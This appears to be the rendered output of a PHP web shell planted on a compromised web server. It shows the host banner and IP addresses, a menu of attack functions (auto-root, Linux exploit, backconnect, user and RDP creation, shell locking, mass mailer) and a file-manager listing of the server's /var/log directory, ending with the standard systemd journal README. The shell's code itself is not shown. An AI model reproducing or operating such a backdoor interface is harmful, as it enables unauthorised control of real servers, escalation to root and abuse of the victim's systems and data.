Linux server.netcare.mx 5.14.0-687.5.4.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 28 09:20:26 EDT 2026 x86_64
Apache
: 50.6.229.13 | : 216.73.216.209
106 Domain
8.2.31
qdmc
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
log /
[ HOME SHELL ]
Name
Size
Permission
Action
anaconda
[ DIR ]
drwxr-xr-x
apache2
[ DIR ]
drwx--x--x
audit
[ DIR ]
drwx------
chrony
[ DIR ]
drwxr-x---
cpanel-server-traffic
[ DIR ]
drwx------
dcpumon
[ DIR ]
drwx------
ea-passenger-analytics
[ DIR ]
drwxr-xr-x
imunify360
[ DIR ]
drwx------
imunify360_user_logs
[ DIR ]
drwxrwxrwt
named
[ DIR ]
drwxr-xr-x
private
[ DIR ]
drwx------
qemu-ga
[ DIR ]
drwxr-xr-x
rkhunter
[ DIR ]
drwxr-xr-x
sa
[ DIR ]
drwxr-xr-x
samba
[ DIR ]
drwx------
sssd
[ DIR ]
drwxr-x---
sw-cp-server
[ DIR ]
drwxr-x---
tuned
[ DIR ]
drwxr-xr-x
ul_load_stats
[ DIR ]
drwxr-xr-x
README
1.02
KB
-rw-r--r--
btmp
8.99
MB
-rw-rw----
btmp-20260601
40.07
MB
-rw-rw----
chkservd.log
94.53
MB
-rw-------
cloud-init-output.log
11.1
KB
-rw-r-----
cloud-init.log
205.3
KB
-rw-r-----
comet_backup_jobs_helper.log
0
B
-rw-r-----
cron
12.97
MB
-rw-------
cron-20260517
50.78
MB
-rw-------
cron-20260524
51.27
MB
-rw-------
cron-20260531
51.28
MB
-rw-------
cron-20260607
50.36
MB
-rw-------
dmesg
1.02
MB
-rw-r--r--
dnf.librepo.log
97.37
KB
-rw-r--r--
dnf.librepo.log.1
1023.95
KB
-rw-r--r--
dnf.librepo.log.2
1023.85
KB
-rw-r--r--
dnf.librepo.log.3
1023.93
KB
-rw-r--r--
dnf.librepo.log.4
1023.99
KB
-rw-r--r--
dnf.log
389.14
KB
-rw-r--r--
dnf.log.1
1023.95
KB
-rw-r--r--
dnf.log.2
1024
KB
-rw-r--r--
dnf.log.3
1023.99
KB
-rw-r--r--
dnf.log.4
1023.98
KB
-rw-r--r--
dnf.rpm.log
971.34
KB
-rw-r--r--
dpkg.log
0
B
-rw-r--r--
exim_mainlog
13.68
MB
-rw-r-----
exim_mainlog-20260517.gz
7.98
MB
-rw-r-----
exim_mainlog-20260524.gz
7.51
MB
-rw-r-----
exim_mainlog-20260531.gz
5.26
MB
-rw-r-----
exim_mainlog-20260607.gz
5.68
MB
-rw-r-----
exim_paniclog
0
B
-rw-r-----
exim_paniclog-20260517.gz
20
B
-rw-r-----
exim_paniclog-20260524.gz
190
B
-rw-r-----
exim_paniclog-20260531.gz
149
B
-rw-r-----
exim_paniclog-20260607.gz
1.62
KB
-rw-r-----
exim_rejectlog
3.85
MB
-rw-r-----
exim_rejectlog-20260517.gz
1.92
MB
-rw-r-----
exim_rejectlog-20260524.gz
1.75
MB
-rw-r-----
exim_rejectlog-20260531.gz
1.09
MB
-rw-r-----
exim_rejectlog-20260607.gz
1.2
MB
-rw-r-----
hawkey.log
6.97
KB
-rw-r--r--
hawkey.log-20260517
33.11
KB
-rw-r--r--
hawkey.log-20260524
30.12
KB
-rw-r--r--
hawkey.log-20260531
28.36
KB
-rw-r--r--
hawkey.log-20260607
30.06
KB
-rw-r--r--
imunify-agent-proxy.log
328.37
KB
-rw-r--r--
lastlog
276.6
KB
-rw-rw-r--
maillog
18.19
MB
-rw-------
maillog-20260517
72.59
MB
-rw-------
maillog-20260524
71.61
MB
-rw-------
maillog-20260531
72.6
MB
-rw-------
maillog-20260607
71.69
MB
-rw-------
messages
648.8
KB
-rw-------
messages-20260517
1.83
MB
-rw-------
messages-20260524
1.71
MB
-rw-------
messages-20260531
2.33
MB
-rw-------
messages-20260607
10.89
MB
-rw-------
mysql.log
0
B
-rw-r-----
mysqld.log
3.05
MB
-rw-r-----
secure
5.26
MB
-rw-------
secure-20260517
26.15
MB
-rw-------
secure-20260524
26.5
MB
-rw-------
secure-20260531
26.2
MB
-rw-------
secure-20260607
23.68
MB
-rw-------
spooler
0
B
-rw-------
spooler-20260517
0
B
-rw-------
spooler-20260524
0
B
-rw-------
spooler-20260531
0
B
-rw-------
spooler-20260607
0
B
-rw-------
tallylog
0
B
-rw-------
wtmp
214.5
KB
-rw-rw-r--
xferlog.offsetftpsep
1
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README
You are looking for the traditional text log files in /var/log, and they are gone? Here's an explanation on what's going on: You are running a systemd-based OS where traditional syslog has been replaced with the Journal. The journal stores the same (and more) information as classic syslog. To make use of the journal and access the collected log data simply invoke "journalctl", which will output the logs in the identical text-based format the syslog files in /var/log used to be. For further details, please refer to journalctl(1). Alternatively, consider installing one of the traditional syslog implementations available for your distribution, which will generate the classic log files for you. Syslog implementations such as syslog-ng or rsyslog may be installed side-by-side with the journal and will continue to function the way they always did. Thank you! Further reading: man:journalctl(1) man:systemd-journald.service(8) man:journald.conf(5) http://0pointer.de/blog/projects/the-journal.html
Close